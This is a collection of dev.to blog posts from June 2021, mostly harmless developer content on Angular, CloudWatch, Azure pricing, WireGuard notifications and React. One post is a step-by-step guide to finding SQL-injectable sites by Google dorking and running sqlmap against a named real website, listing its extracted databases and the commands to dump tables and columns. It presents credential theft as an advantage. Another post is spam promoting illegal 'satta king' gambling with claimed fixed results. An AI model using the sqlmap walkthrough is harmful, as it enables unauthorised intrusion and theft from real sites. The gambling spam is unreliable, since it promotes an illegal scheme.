teleren/devto huggingface dataset:
Learning to get unattached
Tags: productivity, angular, blog
Published: 2021-06-05 19:45:08

I _recently_ joined a team working on an **Angular** project (more about that later) but also had to deal with trying to find a place to live. Yes, at the moment, I am a nomad who decided I would travel to different cities before I settle down somewhere later in the summer. 

I recently had that feeling of having worked placed so much effort in learning something and finally have the opportunity to use this newly acquired skill. In my case, I was finally getting the hang of using [NGRX](https://ngrx.io/) for state management on an angular application until I realized that all of the state in the application I was working on was using [Services and RXJS](https://dev.to/avatsaev/simple-state-management-in-angular-with-only-services-and-rxjs-41p8) 🤯. 

And because I very well understood how to use NGRX, it was compelling to see how others had implemented state management without the need for an external library. Needless to say, this was one place I needed to take a step back in order to be reminded that there's always more than one way to tackle a hurdle or issue. 

As of now, I will have to delay my desire to have the ideal workstation, and learn how to develop in any space I environment as I travel to different places - and much of this will require a certain level of unlearning and establishing habits that help me become a better developer and person. I have taken to early morning runs/walks to break the monotony of my sun-light deprived room and bumped into this little gift:
![At the Philadelphia Flower Show 2021 at FDR Park](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dwokig4krlkr26uaev7t.jpg)
> Look out for **Blog posts every Saturday**🎏 and **Technical articles every Wednesday**✨

<small>Cover Photo by <a href="https://unsplash.com/@heysupersimi?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Simone Hutsch</a> on <a href="https://unsplash.com/s/photos/creative?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></small>
The hidden CloudWatch Metric Filter Debugger
Tags: aws, cloud, devops, tooling
Published: 2021-06-05 19:42:35

In this post, I want to zoom in on CloudWatch Metric Filters. I've been a loyal CloudWatch user for years but only recently, I stumbled upon the "hidden" CloudWatch Metric Filter Debugger. You can imagine the surprise on my face. This filter debugger is a great tool to help you write and test metric filter Patterns.

If you're not familiar with [CloudWatch Metric Filters](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/MonitoringLogData.html):

> Metric filters define the terms and patterns to look for in log data as it is sent to CloudWatch Logs. CloudWatch Logs uses these metric filters to turn log data into numerical CloudWatch metrics that you can graph or set an alarm on.

With a proper Metric Filter and alarm in place, you get notified whenever a particular message is logged to CloudWatch. The hardest part of the setup is writing the filter pattern itself. A correct pattern will capture the things of interest and ignore everything else (avoiding false positives).

[The Metric Filter Syntax](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
is easy and concise, but it can be challenging to get a perfect filter pattern.

Here's a filter pattern example:

```YAML
  CloudInitLogGroupFilter:
    Type: AWS::Logs::MetricFilter
    Properties:
      FilterPattern: "[(w1=\"*ERROR*\" || w1=\"*Error*\" || w1=\"*error*\")]"
      LogGroupName: !Ref CloudInitLogGroup
      MetricTransformations:
        - MetricValue: "1"
          DefaultValue: 0
          MetricNamespace: SomeNamespace
          MetricName: !Sub cloud-init-${EnvironmentName}-errors
```

Often you'll start writing match criteria only and extend these later with additional exceptions once you run into false positives.

An extended filter ignoring noise:

```YAML
  HttpdErrorsLogGroupFilter:
    Type: AWS::Logs::MetricFilter
    Properties:
      FilterPattern: "[(w1=\"*ERROR*\" || w1=\"*Error*\" || w1=\"*error*\") && w1!=\"*IO ERROR*\" && w1!=\"*tlsmc_cert_create_hash_symlink*\"]"
      LogGroupName: !Ref HttpdErrorsLogGroup
      MetricTransformations:
        - MetricValue: "1"
          DefaultValue: 0
          MetricNamespace: SomeNamespace
          MetricName: !Sub httpd-errors-${EnvironmentName}-errors
```

Now, the eye-opener: **apparently, it's possible to debug your Metric Filters in the AWS Web Console :gem:.**

## The CloudWatch Metric Filter Debugger

To find the Metric Filter Debugger, go to the detail page of a Log Group that contains a Metrics Filter, then click the "Metrics" tab followed by the Metric filter name link.

![Metric Filter](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vrymjnoez5za3bzdfqna.png)

Ta-da, there's the debugger:

![Metric Filter Debugger](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gy6iaml25d1y3ct9rr72.png)

Needless to say that it's a lot easier to test your Metrics Filter using this debugger. It saved me at least a few trial-and-error deployment cycles :wink:.

Enjoy and until next time!
Compare Azure VMs
Tags: azure, cloud
Published: 2021-06-05 19:22:19

I've developed https://azureprice.net a few years ago and updated it recently with the new features. That's a one-page table with all VM types where you can quickly compare them and also find the [cheapest region](https://azureprice.net/Region). The audience grew from 30 users to 10 000 per month and it constantly helping people optimize their azure bills.

For example, AMD instances(Standard_D4a_v4) are cheaper in "Central India" region for 45% vs "West US". It could be a great optimization if your application does not need to be in particular region.

What was added and updated:
* Added spot pricing, choose priority dropdown
* Added new VM properties like: max network adapters, IOPs, ACUs and etc
* Added all new regions except for government now it's around 42 regions

If you have questions or ideas about what could be improved please let me know or drop a comment here.
Wireguard client connection/disconnection notification
Tags: wireguard, telegram, bash
Published: 2021-06-05 19:04:04

With this tutorial you can setup your server to send an alert to telegram when a client is connected or disconnected from the tunnel.

The script sends a message to telegram if the client hasn't activity with the server for x (15 default) minutes.

## Prerequisites
* Server with Wireguard and root privileges (read [this post](https://dev.to/wintermeyer/how-multiple-wireguard-peers-can-talk-to-each-other-3nl1) to install wireguard)
* curl `sudo apt install curl`
* Telegram Bot ([how to create a bot](https://core.telegram.org/bots#6-botfather))

## Installation
* [download this script](https://github.com/alfiosalanitri/wireguard-client-connection-notification)
* Edit the file `wg-clients-guardian.sh` and change:
```
TIME_LIMIT=15 (alert will be sent after 15 minutes of inactivity)
TELEGRAM_CHAT_ID="your-chat-id"
TELEGRAM_BOT_ID="your-bot-api-key"
```
* Add execution privilege to `wg-clients-guardian.sh`
```
sudo -s
chmod +x /path/to/wireguard-client-connection-notification/wg-clients-guardian.sh
```
* create the cron job
```
* * * * * cd /path/to/wireguard-client-connection-notification/wg-clients-guardian.sh && /path/to/wireguard-client-connection-notification/wg-clients-guardian.sh > /dev/null 2>&1
```

## Do you want to receive an email instead of a telegram notification?
Change this lines: 98,99
```
MESSAGE="🐉 Wireguard: \`$CLIENT_NAME $SEND_NOTIFICATION from $REMOTE_IP\`"
		curl -s -X POST "https://api.telegram.org/bot${TELEGRAM_BOT_ID}/sendMessage" -F chat_id=$TELEGRAM_CHAT_ID -F text="$MESSAGE" -F parse_mode="MarkdownV2" > /dev/null 2>&1
```
whit
```
MESSAGE="Wireguard: $CLIENT_NAME $SEND_NOTIFICATION from $REMOTE_IP"
echo "$MESSAGE" | mail -s subject your@email.com
```
**Note**: requires mail package `sudo apt install mail`
Crucial bug or the opportunity to make things better
Tags: programming
Published: 2021-06-05 18:46:46

I've been working on an client project for a few months now, and all this time we tested the code as much as we could, by myself and the client, and unit test coverage was quite high. 
Software is working as expected, client is happy and we are ready to go live. Suddenly, a mayor bug. Bug that can't be ignored! Do you take it a an inconvenience that should turn your stomach around, or do you take is as an opportunity to improve the software?  It is after all, your work, you are responsible for it, you should feel anxious when this happens, shouldn't you? It's an uncomfortable feeling.

In that moment instead of negative look on it, I've tried to take a positive attitude. This looks like a perfect opportunity to revisit feature, where bug is occurring and improve it, and also, fix that darn bug. How often do you have that amount of motivation to revisit and improve code from the past, feature that you thought is done and ready to blast? Let me tell you, there is not better motivation then a crucial bug in your code, code that needs to go live in a few days... 

I have rewritten feature, as I did not like how me from the past have done it, and in the end, code size was smaller, less coupled and database contracts were simplified and more fluid.

Depending on how you set your mind on a it, a problem can be a great opportunity, not the inconvenience.
Add Comment to this post and suggest how to get started with React JS !
Tags: discuss, react, javascript, coding
Published: 2021-06-05 18:27:25

I just started learning React JS few weeks ago and I found that there are very less resources which focused on project based learning.

I only get such tutorials which are totally good but just focus on concept rather on Projects.

But in my views the more you do the more you learn so I prefer project based learning more, and learn the concepts in the way.

So I ask the Community to help me and many like me to get resources or projects which you all React developers started with.

Also share your views on _What you think should be the way of learning?_
How does the web work?
Tags: webdev, html, css, webpack
Published: 2021-06-05 18:19:09

Welcome to my third blog, and as you may know, I am a complete novice when it comes to web development. I wanted to tell you about my experience. Let's get this party started.

As it is a much confusing topic, but I made it easier to understand how the web works.

![how-does-a-web-server-work](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7ox2gg87hl1cvg9vf1m7.jpg)

Web work as follow:-

- When you connect to the internet, you do it through an 
  Internet Service Provider (ISP). To visit a website, you enter 
  a domain name or web address into your browser, such as 
  google.com, bbc.co.uk, or microsoft.com. 

- Then your computer communicates with Domain Name System (DNS) 
  servers, which are a network of servers. These function 
  similarly to phone books in that they inform your computer of 
  the IP address associated with the requested domain name. (An 
  IP address consists of up to 12 digits separated by periods or 
  full stops. Every device connected to the internet has its own 
  IP address, which functions similarly to a phone number.)

- The unique number given back by the DNS server to your 
  computer enables your browser to communicate with the web 
  server  ( that hosts the website you requested. A web server 
  is a computer that is always connected to the internet and is 
  configured specifically to send web pages to users.)

- The web server then returns the requested page to your web 
  browser.

- As a result, the Web or Internet works.

I hope you understand how the Internet, also known as the Web, works. You can find out more by Googling it. If there is any problem than let me know in comments down. So that's it for now; I'll see you in the next blog.
Check out my Pricing Component For React on npm.
Tags: react, html, css, node
Published: 2021-06-05 18:15:46

The pricing component is built with React and Styled Components.

You can also checkout my youtube video to learn how this component was created.

{% youtube 5g7l3eMpWZY %}

You can use the component via npm package.
[https://www.npmjs.com/package/react-pricing](https://www.npmjs.com/package/react-pricing)


You can check out the live demo from this [link](koolkishan.github.io/react-pricing).

Like This Article ? Check out my Other Articles.

{% post koolkishan/what-is-virtual-dom-how-virtual-dom-works-what-is-reconciliation-what-is-diffing-algorithm-what-makes-react-so-fast-327a %}

{% post koolkishan/build-a-responsive-login-form-using-html-and-scss-also-learn-about-mixins-in-scss-a18 %}

Like My Articles ? Buy me A [Coffee](https://www.buymeacoffee.com/koolkishansheth)

Follow me on 
[LinkedIn](https://www.linkedin.com/in/koolkishan/)
[GitHub](https://www.github.com/koolkishan)
[Twitter](https://twitter.com/koolkishansheth)

Make sure to subscribe to the YouTube channel for more such videos. A lot of AWESOME videos are coming this month... So make sure to SUBSCRIBE to the channel for more amazing videos. [SUBSCRIBE](https://www.youtube.com/channel/UCDT8sIFy3pW8LT6SAbe8xtQ).
Fireflies in your React webSite! 
Tags: react, npm, animation, webdev
Published: 2021-06-05 17:57:43

Who of us don't want their website to  be more user engaging and looking awesome ? 

Well imagine a dark night and all you can see is firefiles walking randomly , giving that sighfull view ! 

What if I tell you can bring that view/feel to your existing website !! 

Those Fireflies will be simulated  like natural ones,  that has some life and it disappears after sometime , it  walks randomly ( not In a particular trajectory ) that will give the real Firefly walking effect !!!

You can controll where to spawn the new fireflies by using your touch and mouse hover !!!!


And all of these, just with some bare minimum code in your existing react application 😁.


Welcome to <b> firefly-react</b> react component ❤️.


You are just  ``npm install firefly-react`` away 

https://www.npmjs.com/package/firefly-react
Build an idea generator from scratch, part 2: Writing an authenticated fetch request [Video]
Tags: video, javascript, tutorial, codenewbie
Published: 2021-06-05 17:56:41

{% youtube 71I_pd8h0x4 %}

It's a new week and a new opportunity to learn! This week's section of the Idea Generator Tutorial focuses on Fetch and authenticated API calls in JavaScript.

If you missed my last post, catch up by checking out [my post on the first tutorial in this series](https://dev.to/ashleykolodziej/build-an-idea-generator-from-scratch-part-1-project-setup-with-github-and-dotenv-video-34mn).

## This video covers:
- How to write a basic fetch request to an API with JavaScript
- Strategies for debugging errors in fetch requests
- How to review API documentation and decide what endpoint to use
- How to add parameters to your fetch calls to narrow down data
- How to use the new for loop syntax in ES6 to log out individual results from an API call

... and so much more!

## The final product

In this series, we’ll be working toward [this idea generator](https://professorkolodziej.github.io/idea-generator/) as our final product.

## Code links

Follow along by cloning or forking the main branch here: https://github.com/ProfessorKolodziej/idea-generator

You can also start on your own project by using my Student Site Boilerplate template: https://github.com/ProfessorKolodziej/student-site-boilerplate/

**[Catch the new video over here.](https://youtu.be/71I_pd8h0x4)** Happy coding!

---

**I'm always happy to connect!**

🐰 [@ashleykolodziej on Twitter](https://twitter.com/ashleykolodziej)
🐰 [Subscribe to Professor K Explains on YouTube](https://www.youtube.com/c/ProfessorKExplains?sub_confirmation=1)
satta king online 1e86
Tags: sattaking
Published: 2021-06-05 17:42:30

Players can get any of their satta games on their smart phones. This is a genuine and authentic site on the internet to get online tips and trick to play a safe and smart game. Today the forthcoming players with access to a PC or other cell phones with the Internet association can play the diversions like Kalyan live effortlessly and accommodation. We welcome you to our website which is the only place on the internet where you can find the genuine tips and tricks to win at the Satta Matka. Final Ank is the best place to play this game securely without breaching the norms. Play online and experience the life you dream of. But currently the foremost necessary factor is that this game is failed to follow the law and rule regulation thats why Satta King or Play Bazaar and every one the sport UN agency similar those like game these ar prohibited and illegitimate game , as a result of they failed to follow the protocols and rule. For example, players of marble game might wager marbles, and likewise games of pogs or small discs, trading cards and in India most popularly known as <a href="https://www.sattaking.care">satta king</a>.

This game is played between a group of players, where money will be collected from all the players and will be paid to the Satta king, or the winner of the betting game. The winner of this game is the player who draws, opens the number at 9.00pm constantly. The player needs to find out about the perspectives like open, close, and the Kalyan Weekly Jodi. We additionally give Fastest Matka Result and Fix Matka Game - <a href="https://www.sattaking.care">satta king</a> Our web site consultants someone assist you In Kalyan Final Ank, By Matka Number Tips From Sattamatka. You can check all the Live for fix results. So, guys if you want to win Satta Matka game and now you are looking for a 100% fix leak, then contact us now. There are lots of Satta Matka Kalyan game on the planet. All the results are also displayed live here. Here you will get all the top results, and for that all, you need not have to wait a bit.
🔥 Function Call in JavaScript- Part 2
Tags: javascript
Published: 2021-06-05 17:29:28

In the previous section we have learnt about introduction to function and function calls with and without returning values. 

In this blog, We will learn about function returning 

☑️ Arrays
☑️ Objects
☑️ Functions

☑️Functions returning arrays: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mo9esiova2hrjdfso4gu.png)

Output: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ofe8kj2xr67hun68uit2.png)
  

☑️Functions returning objects: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/33oazigqtpidu25dj16x.png)
 

Output: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1l6lp6zbax0vj0p8v2s0.png)
 

☑️Functions returning functions: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/62zusxu6uqol88bys3s2.png)
 
Output: 

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hrz3u2lyyngkfbzndv8t.png)
Exploit Website Databases Using SQLmap
Tags: sql, cybersecurity, security
Published: 2021-06-05 17:17:47

🎩 Exploit Website Databases Using SQLmap 🎩

✨SQLmap is one of the most famous tools for SQL injection. It is pre-installed in Kali Linux so no need to download it from anywhere.

What is a SQL injection attack❓

✨SQLi is a common attack where the attacker injects and executes malicious SQL requests in order to get hold of the web databases. These attacks are common in vulnerable websites that use SQL RDBMS to store databases

So today we'll perform an SQLi attack on a vulnerable website

✅ Requirements

⭕️Kali

⭕️Knowledge on Google Dorking

✅ Steps

⭕️ Google Dork vulnerable websites

First of all we have to get a vulnerable website to perform the attack. So we'll use Google Dorking. In simple words, it means that using Google search engine, we can use some special codes in order to get some security holes in websites. Here I'm gonna use this Dork to get SQLi vulnerable websites

inurl:index.php?id=

This will have many results. I've chosen the following website

http://www.asfaa.org/members.php?id=1

⭕️ Get the vulnerability of the website

To get the vulnerability, I'll use the following trick

Add 1 with Asterix * and reload the website

http://www.asfaa.org/members.php?id=1*

When the website shows error, it means that it's vulnerable

⭕️ Fire up Sqlmap 🔥

Open terminal. Then type there

sqlmap -u yoururl

⚠️Make sure to replace the Asterix with the original value and give the full URL

In my case, I typed

sqlmap -u http://www.asfaa.org/members.php?id=1

It'll start injecting malicious SQL requests. Once done, you'll notice the changes

⭕️ Exploit databases

Now we need to type the next command

sqlmap -u yoururl --dbs

When I did it in my case, I received the following databases

information_schema
db83231_acolop
db83231_asfaa

⭕️ Extract the tables and columns

Now, you can extract the tables of any of the databases using the command

sqlmap -u yoururl -D databasename --tables

For columns,

sqlmap -u yoururl -D databasename -T tablename --columns

I did the following

sqlmap -u http://www.asfaa.org/members.php?id=1 -D db83231_asfaa --tables

sqlmap -u http://www.asfaa.org/members.php?id=1 -D db83231_asfaa -T members --columns

And I got lots of results ❗️

ℹ️ One main advantage of SQLi is that some websites store usernames and passwords in SQL databases that can be exploited.


Hafiz Muhammad Attaullah
Roadmap to Become a MERN Stack developer
Tags: react, javascript, node, mongodb
Published: 2021-06-05 17:10:57

MERN stands for MongoDB, Express, ReactJS, and NodeJS. MERN stack is one of the powerful and demandable stacks in Javascript.


**Follow the steps below to become a MERN  developer:**

1. Learn HTML & CSS - HTML for markup and CSS for design.

2. Then you have to learn JavaScript - Javascript for dynamic functionality in web applications. If you learn Javascript you can develop the front end and back end also. 

3. After learning Javascript you should learn DOM - It represents the page so that programs can change the document structure, style, and content. The DOM represents the document as nodes and objects. That way, programming languages can connect to the page.

4. Start learning ReactJS: React is a front-end javascript library. 
Next step to learn Node JS with express framework.
After learning the node you can start learning MongoDB 

Congratulation ! you are now a MERN stack developer. 

So, what after you have learned MERN stack development. Look you have learned only the basics now.  You can start making some small projects. Then gradually start learning advance and make intermediate project also Portfolio website.

Next post I will share some tools that need to know as a developer.